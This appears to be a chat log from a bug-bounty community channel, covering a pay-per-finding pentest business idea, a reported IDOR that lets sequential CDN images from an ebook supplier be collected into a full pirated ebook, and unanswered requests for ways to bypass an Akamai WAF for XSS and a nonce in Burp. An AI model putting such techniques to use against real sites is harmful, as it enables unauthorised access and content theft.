Gave +1 Rep to @pale plover

[turbid patio]

Hello everyone, i thinking a while about make pentest company. But little bit different bussines model. We will make pentest for free, if we found vulnerability customer pay for every foud with limit when we stop finding another one. Have someone expirience with similar bussines model? Little bit like saas bug bounty for company. The idea is very young and i dont have a lot of details yet. What do you thing? Can it be profitable? Or if i will post some bug bounty people on this channel will try fidn some?

[worthy folio]

probably more profitable to negotiate a fixed rate tbf

[native token]

that business model is pretty much what Synack red team have in place for their service

[worthy folio]

scaling cost per severity of vuln?

[native token]

Yeah pretty sure that's how they do it

[worthy folio]

that...would be expensive for my app...

[native token]

It may be a fixed budget similar to other bug bounty programs

so that could be complete bs

[vocal folio]

payout = USDToGBP(cvssScore * 100)

[stray tapir]

Is it worth reporting jpg IDOR on a cdn folder? Found it on a edu book suplier that doesn't require permissions either

basicaly https://cdn.web.site/folder/r4nd-0mFo-Ld3r-1d/1.jpg

and the 1 resembles the page

of the ebook

so you can basically leak the ebook as pdf by using image to pdf tools

[zenith cairn]

How do I bypass akamaighost xss

[native token]

Figure out what rulesets they are using and try find a bypass yourself tends to be the way for wafs

[zenith cairn]

I see

[native token]

@stray tapir completely depends if that's intended behaviour. Does the original application make calls to those pages to render? If so it's likely not a problem

[worthy folio]

IMO even if it's intended it's still a design issue

[zenith cairn]

Can u elaborate please

[outer roost]

how can i see the nonce code in burp suit or is there any way to bypass it

[wet bobcat]

Out of curiosity how good are guys like NahemSec and john hammond at big bounties? I mean skill wise

[native token]

John doesn't do bug bounty unless I'm mistaken and Naham is extremely good

[wet bobcat]

Ah I was just curious how skilled some of these guys are. Looking for motivation